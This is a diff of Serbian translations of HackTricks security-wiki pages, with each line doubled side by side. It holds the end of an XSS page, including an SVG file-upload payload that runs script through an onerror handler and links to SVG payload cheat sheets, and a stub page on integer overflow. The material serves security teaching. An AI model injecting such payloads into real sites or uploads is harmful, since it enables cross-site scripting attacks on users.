Format [**AMP za Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) proširuje određene AMP komponente na e-poštu, omogućavajući primaocima da direktno interaguju sa sadržajem unutar svojih e-poruka. Format [**AMP za Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) proširuje određene AMP komponente na e-poštu, omogućavajući primaocima da direktno interaguju sa sadržajem unutar svojih e-poruka.
Primer [**writeup XSS u Amp4Email-u u Gmail-u**](https://adico.me/post/xss-in-gmail-s-amp4email). Primer [**izveštaja o XSS-u u Amp4Email-u u Gmailu**](https://adico.me/post/xss-in-gmail-s-amp4email).
### XSS otpremanje fajlova (svg) ### XSS otpremanje fajlova (svg)
@ -1401,9 +1405,9 @@ id="foo"/>
```xml ```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" /> <svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
``` ```
Pronađite **više SVG opterećenja na** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) Pronađi **više SVG payloada na** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## Razne JS Trikovi & Relevantne Informacije ## Razne JS Trikove & Relevantne Informacije
{% content-ref url="other-js-tricks.md" %} {% content-ref url="other-js-tricks.md" %}
[other-js-tricks.md](other-js-tricks.md) [other-js-tricks.md](other-js-tricks.md)
@ -1417,19 +1421,19 @@ Pronađite **više SVG opterećenja na** [**https://github.com/allanlw/svg-cheat
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec) * [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) * [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_). Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pismenoj i usmenoj formi_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u: Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -0,0 +1,31 @@
# Prekoračenje celobrojnog tipa
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Proverite:
{% content-ref url="../../binary-exploitation/integer-overflow.md" %}
[integer-overflow.md](../../binary-exploitation/integer-overflow.md)
{% endcontent-ref %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details>